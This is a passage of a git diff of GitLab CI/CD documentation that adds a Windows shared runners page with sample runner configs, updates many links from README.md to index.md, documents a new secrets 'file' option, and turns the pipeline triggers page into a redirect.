"engine-opt=ipv6", # This will create IPv6 interfaces in the containers. + "engine-opt=fixed-cidr-v6=fc00::/7", + "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600 + ] + [[runners.machine.autoscaling]] + Periods = ["* * * * * sat,sun *"] + Timezone = "UTC" + IdleCount = 70 + IdleTime = 3600 + [[runners.machine.autoscaling]] + Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"] + Timezone = "UTC" + IdleCount = 700 + IdleTime = 3600 + [runners.cache] + Type = "gcs" + Shared = true + [runners.cache.gcs] + CredentialsFile = "/path/to/file" + BucketName = "bucket-name" +``` diff --git a/doc/ci/runners/build_cloud/windows_build_cloud.md b/doc/ci/runners/build_cloud/windows_build_cloud.md new file mode 100644 index 00000000000..5a85f28e4b9 --- /dev/null +++ b/doc/ci/runners/build_cloud/windows_build_cloud.md @@ -0,0 +1,156 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Windows shared runners (beta) + +The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) +and shouldn't be used for production workloads. + +During this beta period, the [shared runner pipeline quota](../../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota) +applies for groups and projects in the same manner as Linux runners. This may +change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834). + +Windows shared runners on GitLab.com autoscale by launching virtual machines on +the Google Cloud Platform. This solution uses an +[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md) +developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html). +Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with +2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in +the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md). + +We want to keep iterating to get Windows shared runners in a stable state and +[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga). +You can follow our work towards this goal in the +[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162). + +## Configuration + +The full contents of our `config.toml` are: + +NOTE: +Settings that aren't public are shown as `X`. + +```toml +concurrent = X +check_interval = 3 + +[[runners]] + name = "windows-runner" + url = "https://gitlab.com/" + token = "TOKEN" + executor = "custom" + builds_dir = "C:\\GitLab-Runner\\builds" + cache_dir = "C:\\GitLab-Runner\\cache" + shell = "powershell" + [runners.custom] + config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"] + prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"] + run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"] + cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"] +``` + +The full contents of our `autoscaler/config.toml` are: + +```toml +Provider = "gcp" +Executor = "winrm" +OS = "windows" +LogLevel = "info" +LogFormat = "text" +LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log" +VMTag = "windows" + +[GCP] + ServiceAccountFile = "PATH" + Project = "some-project-df9323" + Zone = "us-east1-c" + MachineType = "n1-standard-2" + Image = "IMAGE" + DiskSize = 50 + DiskType = "pd-standard" + Subnetwork = "default" + Network = "default" + Tags = ["TAGS"] + Username = "gitlab_runner" + +[WinRM] + MaximumTimeout = 3600 + ExecutionMaxRetries = 0 + +[ProviderCache] + Enabled = true + Directory = "C:\\GitLab-Runner\\autoscaler\\machines" +``` + +## Example + +Below is a simple `.gitlab-ci.yml` file to show how to start using the +Windows shared runners: + +```yaml +.shared_windows_runners: + tags: + - shared-windows + - windows + - windows-1809 + +stages: + - build + - test + +before_script: + - Set-Variable -Name "time" -Value (date -Format "%H:%m") + - echo ${time} + - echo "started by ${GITLAB_USER_NAME}" + +build: + extends: + - .shared_windows_runners + stage: build + script: + - echo "running scripts in the build job" + +test: + extends: + - .shared_windows_runners + stage: test + script: + - echo "running scripts in the test job" +``` + +## Limitations and known issues + +- All the limitations mentioned in our [beta + definition](https://about.gitlab.com/handbook/product/#beta). +- The average provisioning time for a new Windows VM is 5 minutes. + This means that you may notice slower build start times + on the Windows shared runner fleet during the beta. In a future + release we intend to update the autoscaler to enable + the pre-provisioning of virtual machines. This is intended to significantly reduce + the time it takes to provision a VM on the Windows fleet. You can + follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). +- The Windows shared runner fleet may be unavailable occasionally + for maintenance or updates. +- The Windows shared runner virtual machine instances do not use the + GitLab Docker executor. This means that you can't specify + [`image`](../../../ci/yaml/index.md#image) or [`services`](../../../ci/yaml/index.md#services) in + your pipeline configuration. +- For the beta release, we have included a set of software packages in + the base VM image. If your CI job requires additional software that's + not included in this list, then you must add installation + commands to [`before_script`](../../../ci/yaml/index.md#before_script) or [`script`](../../../ci/yaml/index.md#script) to install the required + software. Note that each job runs on a new VM instance, so the + installation of additional software packages needs to be repeated for + each job in your pipeline. +- The job may stay in a pending state for longer than the + Linux shared runners. +- There is the possibility that we introduce breaking changes which will + require updates to pipelines that are using the Windows shared runner + fleet. diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md index 775de26b772..2f845a05a4e 100644 --- a/doc/ci/runners/configure_runners.md +++ b/doc/ci/runners/configure_runners.md @@ -10,7 +10,7 @@ type: reference If you have installed your own runners, you can configure and secure them in GitLab. If you need to configure runners on the machine where you installed GitLab Runner, see -[the GitLab Runner documentation](https://docs.gitlab.com/runner/configuration). +[the GitLab Runner documentation](https://docs.gitlab.com/runner/configuration/). ## Manually clear the runner cache @@ -19,14 +19,14 @@ Read [clearing the cache](../caching/index.md#clearing-the-cache). ## Set maximum job timeout for a runner For each runner, you can specify a *maximum job timeout*. This timeout, -if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence. +if smaller than the [project defined timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run), takes precedence. This feature can be used to prevent your shared runner from being overwhelmed by a project that has jobs with a long timeout (for example, one week). When not configured, runners do not override the project timeout. -On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout). +On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run). To set the maximum job timeout: @@ -90,7 +90,7 @@ To protect or unprotect a runner: 1. Check the **Protected** option. 1. Click **Save changes**. - + ### Forks @@ -146,7 +146,7 @@ the GitLab instance. To determine this: 1. On the left sidebar, select **Overview > Runners**. 1. Find the runner in the table and view the **IP Address** column. - + ### Determine the IP address of a specific runner @@ -169,13 +169,13 @@ GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with Git tags are associated with commits. By tagging a runner for the types of jobs it can handle, you can make sure -shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). +shared runners will [only run the jobs they are equipped to run](../yaml/index.md#tags). For instance, at GitLab we have runners tagged with `rails` if they contain the appropriate dependencies to run Rails test suites. When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** -[tagged jobs](../yaml/README.md#tags). +[tagged jobs](../yaml/index.md#tags). To change this, you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project. To make a runner pick untagged jobs: @@ -230,7 +230,7 @@ Example 2: ## Configure runner behavior with variables -You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior +You can use [CI/CD variables](../variables/index.md) to configure runner Git behavior globally or for individual jobs: - [`GIT_STRATEGY`](#git-strategy) @@ -250,7 +250,7 @@ You can also use variables to configure how many times a runner > - `GIT_STRATEGY=none` requires GitLab Runner v1.7+. You can set the `GIT_STRATEGY` used to fetch the repository content, either -globally or per-job in the [`variables`](../yaml/README.md#variables) section: +globally or per-job in the [`variables`](../yaml/index.md#variables) section: ```yaml variables: @@ -258,7 +258,7 @@ variables: ``` There are three possible values: `clone`, `fetch`, and `none`. If left unspecified, -jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy). +jobs use the [project's pipeline setting](../pipelines/settings.md#choose-the-default-git-strategy). `clone` is the slowest option. It clones the repository from scratch for every job, ensuring that the local working copy is always pristine. @@ -281,7 +281,7 @@ The `kubernetes` executor always clones into an temporary directory. A Git strategy of `none` also re-uses the local working copy, but skips all Git operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped, if present. This strategy could mean you need to add `fetch` and `checkout` commands -to [your `.gitlab-ci.yml` script](../yaml/README.md#script). +to [your `.gitlab-ci.yml` script](../yaml/index.md#script). It can be used for jobs that operate exclusively on artifacts, like a deployment job. Git repository data may be present, but it's likely out of date. You should only @@ -293,7 +293,7 @@ rely on files brought into the local working copy from cache or artifacts. The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git submodules are included when fetching the code before a build. You can set them -globally or per-job in the [`variables`](../yaml/README.md#variables) section. +globally or per-job in the [`variables`](../yaml/index.md#variables) section. There are three possible values: `none`, `normal`, and `recursive`: @@ -332,7 +332,7 @@ For this feature to work correctly, the submodules must be configured The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either `clone` or `fetch` to specify whether a `git checkout` should be run. If not specified, it defaults to true. You can set them globally or per-job in the -[`variables`](../yaml/README.md#variables) section. +[`variables`](../yaml/index.md#variables) section. If set to `false`, the runner: @@ -360,7 +360,7 @@ script: The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of `git clean` after checking out the sources. You can set it globally or per-job in the -[`variables`](../yaml/README.md#variables) section. +[`variables`](../yaml/index.md#variables) section. `GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean) command. @@ -386,7 +386,7 @@ script: > [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1. The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of -`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. +`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/index.md#variables) section. `GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified. @@ -428,7 +428,7 @@ It can be helpful for repositories with a large number of commits or old, large passed to `git fetch` and `git clone`. In GitLab 12.0 and later, newly-created projects automatically have a -[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone). +[default `git depth` value of `50`](../pipelines/settings.md#limit-the-number-of-changes-fetched-during-clone). If you use a depth of `1` and have a queue of jobs or retry jobs, jobs may fail. @@ -450,7 +450,7 @@ variables: GIT_DEPTH: "3" ``` -You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. +You can set it globally or per-job in the [`variables`](../yaml/index.md#variables) section. ### Custom build directories @@ -559,7 +559,7 @@ variables: GET_SOURCES_ATTEMPTS: 3 ``` -You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section. +You can set them globally or per-job in the [`variables`](../yaml/index.md#variables) section. ## System calls not available on GitLab.com shared runners diff --git a/doc/ci/runners/img/protected_runners_check_box.png b/doc/ci/runners/img/protected_runners_check_box.png Binary files differdeleted file mode 100644 index 3c47ebdec29..00000000000 --- a/doc/ci/runners/img/protected_runners_check_box.png +++ /dev/null diff --git a/doc/ci/runners/img/protected_runners_check_box_v14_1.png b/doc/ci/runners/img/protected_runners_check_box_v14_1.png Binary files differnew file mode 100644 index 00000000000..d67085d83f9 --- /dev/null +++ b/doc/ci/runners/img/protected_runners_check_box_v14_1.png diff --git a/doc/ci/runners/img/shared_runner_ip_address.png b/doc/ci/runners/img/shared_runner_ip_address.png Binary files differdeleted file mode 100644 index 527b4f4043d..00000000000 --- a/doc/ci/runners/img/shared_runner_ip_address.png +++ /dev/null diff --git a/doc/ci/runners/img/shared_runner_ip_address_14_1.png b/doc/ci/runners/img/shared_runner_ip_address_14_1.png Binary files differnew file mode 100644 index 00000000000..d7eeeae7a3c --- /dev/null +++ b/doc/ci/runners/img/shared_runner_ip_address_14_1.png diff --git a/doc/ci/runners/index.md b/doc/ci/runners/index.md new file mode 100644 index 00000000000..da7289a0ebd --- /dev/null +++ b/doc/ci/runners/index.md @@ -0,0 +1,18 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# GitLab SaaS runners + +If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can +[install and configure your own runners](https://docs.gitlab.com/runner/install/). + +If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on shared runners. No configuration is required. +Your jobs can run on [Linux](build_cloud/linux_build_cloud.md) or [Windows](build_cloud/windows_build_cloud.md). + +The number of minutes you can use on these shared runners depends on your +[quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota), +which depends on your [subscription plan](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes). diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index d140344b40d..7fbc3448d4e 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -8,13 +8,14 @@ type: concepts, howto # Using external secrets in CI > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218746) in GitLab 13.4 and GitLab Runner 13.4. +> - `file` setting [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1. Secrets represent sensitive information your CI job needs to complete work. This sensitive information can be items like API tokens, database credentials, or private keys. Secrets are sourced from your secrets provider. Unlike CI/CD variables, which are always presented to a job, secrets must be explicitly -required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/README.md#secrets) +required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/index.md#secrets) for more information about the syntax. GitLab has selected [Vault by HashiCorp](https://www.vaultproject.io) as the @@ -80,7 +81,7 @@ To configure your Vault server: 1. Configure roles on your Vault server, restricting roles to a project or namespace, as described in [Configure Vault server roles](#configure-vault-server-roles) on this page. -1. [Create the following CI/CD variables](../variables/README.md#custom-cicd-variables) +1. [Create the following CI/CD variables](../variables/index.md#custom-cicd-variables) to provide details about your Vault server: - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`. Required. @@ -114,10 +115,22 @@ In this example: After GitLab fetches the secret from Vault, the value is saved in a temporary file. The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`, -similar to [variables of type `file`](../variables/README.md#cicd-variable-types). +similar to [variables of type `file`](../variables/index.md#cicd-variable-types). + +To overwrite the default behavior, set the `file` option explicitly: + +```yaml +secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops + file: false +``` + +In this example, the secret value is put directly in the `DATABASE_PASSWORD` variable +instead of pointing to a file that holds it. For more information about the supported syntax, read the -[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault). +[`.gitlab-ci.yml` reference](../yaml/index.md#secretsvault). ## Configure Vault server roles diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md deleted file mode 100644 index 577a80407d7..00000000000 --- a/doc/ci/services/README.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'index.md' -remove_date: '2021-05-01' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after 2021-05-01. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md index 8afe8c784f3..558f53a9535 100644 --- a/doc/ci/services/gitlab.md +++ b/doc/ci/services/gitlab.md @@ -11,7 +11,7 @@ Many applications need to access JSON APIs, so application tests might need acce to APIs too. The following example shows how to use GitLab as a microservice to give tests access to the GitLab API. -1. Configure a [runner](../runners/README.md) with the Docker or Kubernetes executor. +1. Configure a [runner](../runners/index.md) with the Docker or Kubernetes executor. 1. In your `.gitlab-ci.yml` add: ```yaml @@ -25,7 +25,7 @@ tests access to the GitLab API. ``` 1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`, - [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project). + [assign them to a variable in the user interface](../variables/index.md#add-a-cicd-variable-to-a-project). Then assign that variable to the corresponding variable in your `.gitlab-ci.yml` file. @@ -37,4 +37,4 @@ For more information about why `gitlab` is used for the `Host`, see You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/u/gitlab). The `gitlab` image can accept environment variables. For more details, -see the [Omnibus documentation](../../install/README.md). +see the [Omnibus documentation](../../install/index.md). diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md index 8d603b17e2e..c7891998a37 100644 --- a/doc/ci/services/index.md +++ b/doc/ci/services/index.md @@ -188,9 +188,9 @@ To override the default behavior, you can ## Passing CI/CD variables to services -You can also pass custom CI/CD [variables](../variables/README.md) +You can also pass custom CI/CD [variables](../variables/index.md) to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file. -For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). ```yaml # The following variables are automatically passed down to the Postgres container @@ -228,7 +228,7 @@ test: | Setting | Required | GitLab version | Description | |------------|----------|----------------| ----------- | -| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. It should contain the Registry part if needed. | +| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. If the full image name includes a registry hostname, use the `alias` option to define a shorter service access name. For more information, see [Accessing the services](#accessing-the-services). | | `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. | | `command` | no | 9.4 |Command or script that should be used as the container's command. It's translated to arguments passed to Docker after the image's name. The syntax is similar to [`Dockerfile`'s `CMD`](https://docs.docker.com/engine/reference/builder/#cmd) directive, where each shell token is a separate string in the array. | | `alias` (1) | no | 9.4 |Additional alias that can be used to access the service from the job's container. Read [Accessing the services](#accessing-the-services) for more information. | diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index 1e0762ca010..c691a6ef33d 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -12,11 +12,11 @@ need it for your tests to run. ## Use MySQL with the Docker executor -If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor. +If you want to use a MySQL container, you can use [GitLab Runner](../runners/index.md) with the Docker executor. This example shows you how to set a username and password that GitLab uses to access the MySQL container. If you do not set a username and password, you must use `root`. -1. [Create CI/CD variables](../variables/README.md#custom-cicd-variables) for your +1. [Create CI/CD variables](../variables/index.md#custom-cicd-variables) for your MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**, and clicking **Add Variable**. @@ -130,5 +130,5 @@ GitLab Runner with the Shell executor. ## Example project To view a MySQL example, create a fork of this [sample project](https://gitlab.com/gitlab-examples/mysql). -This project uses publicly-available [shared runners](../runners/README.md) on [GitLab.com](https://gitlab.com). +This project uses publicly-available [shared runners](../runners/index.md) on [GitLab.com](https://gitlab.com). Update the README.md file, commit your changes, and view the CI/CD pipeline to see it in action. diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 8451d56a71c..8d14e4795d2 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -13,7 +13,7 @@ do this with the Docker and Shell executors of GitLab Runner. ## Use PostgreSQL with the Docker executor -If you're using [GitLab Runner](../runners/README.md) with the Docker executor, +If you're using [GitLab Runner](../runners/index.md) with the Docker executor, you basically have everything set up already. First, in your `.gitlab-ci.yml` add: @@ -31,7 +31,7 @@ variables: To set values for the `POSTGRES_DB`, `POSTGRES_USER`, `POSTGRES_PASSWORD` and `POSTGRES_HOST_AUTH_METHOD`, -[assign them to a CI/CD variable in the user interface](../variables/README.md#custom-cicd-variables), +[assign them to a CI/CD variable in the user interface](../variables/index.md#custom-cicd-variables), then assign that variable to the corresponding variable in your `.gitlab-ci.yml` file. @@ -121,7 +121,7 @@ Database: nice_marmot We have set up an [Example PostgreSQL Project](https://gitlab.com/gitlab-examples/postgres) for your convenience that runs on [GitLab.com](https://gitlab.com) using our publicly -available [shared runners](../runners/README.md). +available [shared runners](../runners/index.md). Want to hack on it? Fork it, commit, and push your changes. Within a few moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/services/redis.md b/doc/ci/services/redis.md index 71d3ffb1c60..d8c7b805864 100644 --- a/doc/ci/services/redis.md +++ b/doc/ci/services/redis.md @@ -13,7 +13,7 @@ do this with the Docker and Shell executors of GitLab Runner. ## Use Redis with the Docker executor -If you are using [GitLab Runner](../runners/README.md) with the Docker executor +If you are using [GitLab Runner](../runners/index.md) with the Docker executor you basically have everything set up already. First, in your `.gitlab-ci.yml` add: @@ -67,7 +67,7 @@ Host: localhost We have set up an [Example Redis Project](https://gitlab.com/gitlab-examples/redis) for your convenience that runs on [GitLab.com](https://gitlab.com) using our publicly available -[shared runners](../runners/README.md). +[shared runners](../runners/index.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md deleted file mode 100644 index 577a80407d7..00000000000 --- a/doc/ci/ssh_keys/README.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'index.md' -remove_date: '2021-05-01' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after 2021-05-01. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index 2222ed0aa43..6136f3be3f6 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: tutorial --- -# Using SSH keys with GitLab CI/CD +# Using SSH keys with GitLab CI/CD **(FREE)** GitLab currently doesn't have built-in support for managing SSH keys in a build environment (where the GitLab Runner runs). @@ -28,7 +28,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) ## How it works 1. Create a new SSH key pair locally with [`ssh-keygen`](https://linux.die.net/man/1/ssh-keygen) -1. Add the private key as a [variable](../variables/README.md) to +1. Add the private key as a [variable](../variables/index.md) to your project 1. Run the [`ssh-agent`](https://linux.die.net/man/1/ssh-agent) during job to load the private key. @@ -38,8 +38,8 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) In the following example, the `ssh-add -` command does not display the value of `$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable -[debug logging](../variables/README.md#debug-logging). You might also want to -check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). +[debug logging](../variables/index.md#debug-logging). You might also want to +check the [visibility of your pipelines](../pipelines/settings.md#change-which-users-can-view-your-pipelines). ## SSH keys when using the Docker executor @@ -48,11 +48,11 @@ contained) and you want to deploy your code in a private server, you need a way to access it. This is where an SSH key pair comes in handy. 1. You first need to create an SSH key pair. For more information, follow - the instructions to [generate an SSH key](../../ssh/README.md#generate-an-ssh-key-pair). + the instructions to [generate an SSH key](../../ssh/index.md#generate-an-ssh-key-pair). **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. -1. Create a new [CI/CD variable](../variables/README.md). +1. Create a new [CI/CD variable](../variables/index.md). As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste the content of your _private_ key that you created earlier. @@ -94,7 +94,7 @@ to access it. This is where an SSH key pair comes in handy. # - git config --global user.name "User name" ``` - The [`before_script`](../yaml/README.md#before_script) can be set globally + The [`before_script`](../yaml/index.md#before_script) can be set globally or per-job. 1. Make sure the private server's [SSH host keys are verified](#verifying-the-ssh-host-keys). @@ -124,7 +124,7 @@ on, and use that key for all projects that are run on this machine. ``` 1. Generate the SSH key pair as described in the instructions to - [generate an SSH key](../../ssh/README.md#generate-an-ssh-key-pair). + [generate an SSH key](../../ssh/index.md#generate-an-ssh-key-pair). **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. @@ -160,7 +160,7 @@ ssh-keyscan example.com ssh-keyscan 1.2.3.4 ``` -Create a new [CI/CD variable](../variables/README.md) with +Create a new [CI/CD variable](../variables/index.md) with `SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`. If you need to connect to multiple servers, all the server host keys @@ -207,7 +207,7 @@ before_script: We have set up an [Example SSH Project](https://gitlab.com/gitlab-examples/ssh-private-key/) for your convenience that runs on [GitLab.com](https://gitlab.com) using our publicly available -[shared runners](../runners/README.md). +[shared runners](../runners/index.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few moments the changes is picked by a public runner and the job starts. diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index b8d0df44598..5ab8653dc35 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -1,288 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: tutorial +redirect_to: 'index.md' --- -# Triggering pipelines through the API **(FREE)** +This document was moved to [another location](index.md). -Triggers can be used to force a pipeline rerun of a specific `ref` (branch or -tag) with an API call. - -## Authentication tokens - -The following methods of authentication are supported: - -- [Trigger token](#trigger-token) -- [CI job token](#ci-job-token) - -If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md) -to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`, -depending on which trigger method is used. - -| `$CI_PIPELINE_SOURCE` value | Trigger method | -|-----------------------------|----------------| -| `pipeline` | Using the `trigger:` keyword in the CI/CD configuration file, or using the trigger API with `$CI_JOB_TOKEN`. | -| `trigger` | Using the trigger API using a generated trigger token | - -This also applies when using the `pipelines` or `triggers` keywords with the legacy [`only/except` basic syntax](../yaml/README.md#only--except). - -### Trigger token - -A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger). - -WARNING: -Passing plain text tokens in public projects is a security issue. Potential -attackers can impersonate the user that exposed their trigger token publicly in -their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/README.md) -to protect trigger tokens. - -### CI job token - -You can use the `CI_JOB_TOKEN` [CI/CD variable](../variables/README.md#predefined-cicd-variables) (used to authenticate -with the [GitLab Container Registry](../../user/packages/container_registry/index.md)) in the following cases. - -#### When used with multi-project pipelines - -> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2017) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3. -> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [made available](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) in all tiers in GitLab 12.4. - -This way of triggering can only be used when invoked inside `.gitlab-ci.yml`, -and it creates a dependent pipeline relation visible on the -[pipeline graph](../multi_project_pipelines.md). For example: - -```yaml -trigger_pipeline: - stage: deploy - script: - - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" - rules: - - if: $CI_COMMIT_TAG -``` - -Pipelines triggered that way also expose a special variable: -`CI_PIPELINE_SOURCE=pipeline`. - -Read more about the [pipelines trigger API](../../api/pipeline_triggers.md). - -#### When a pipeline depends on the artifacts of another pipeline **(PREMIUM)** - -> The use of `CI_JOB_TOKEN` in the artifacts download API was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2346) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.5. - -With the introduction of dependencies between different projects, one of -them may need to access artifacts created by a previous one. This process -must be granted for authorized accesses, and it can be done using the -`CI_JOB_TOKEN` variable that identifies a specific job. For example: - -```yaml -build_submodule: - image: debian - stage: test - script: - - apt update && apt install -y unzip - - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN" - - unzip artifacts.zip - rules: - - if: $CI_COMMIT_TAG -``` - -This allows you to use that for multi-project pipelines and download artifacts -from any project to which you have access as this follows the same principles -with the [permission model](../../user/permissions.md#job-permissions). - -Read more about the [jobs API](../../api/job_artifacts.md#download-the-artifacts-archive). - -## Adding a new trigger - -Go to your -**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates -a new token which you can then use to trigger a rerun of this -particular project's pipeline. - -Every new trigger you create, gets assigned a different token which you can -then use inside your scripts or `.gitlab-ci.yml`. You also have a nice -overview of the time the triggers were last used. - - - -## Revoking a trigger - -You can revoke a trigger any time by going at your project's -**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button. -The action is irreversible. - -## Triggering a pipeline - -To trigger a job you need to send a `POST` request to the GitLab API endpoint: - -```plaintext -POST /projects/:id/trigger/pipeline -``` - -The required parameters are the [trigger's `token`](#authentication-tokens) -and the Git `ref` on which the trigger is performed. Valid refs are -branches or tags. The `:id` of a project can be found by -[querying the 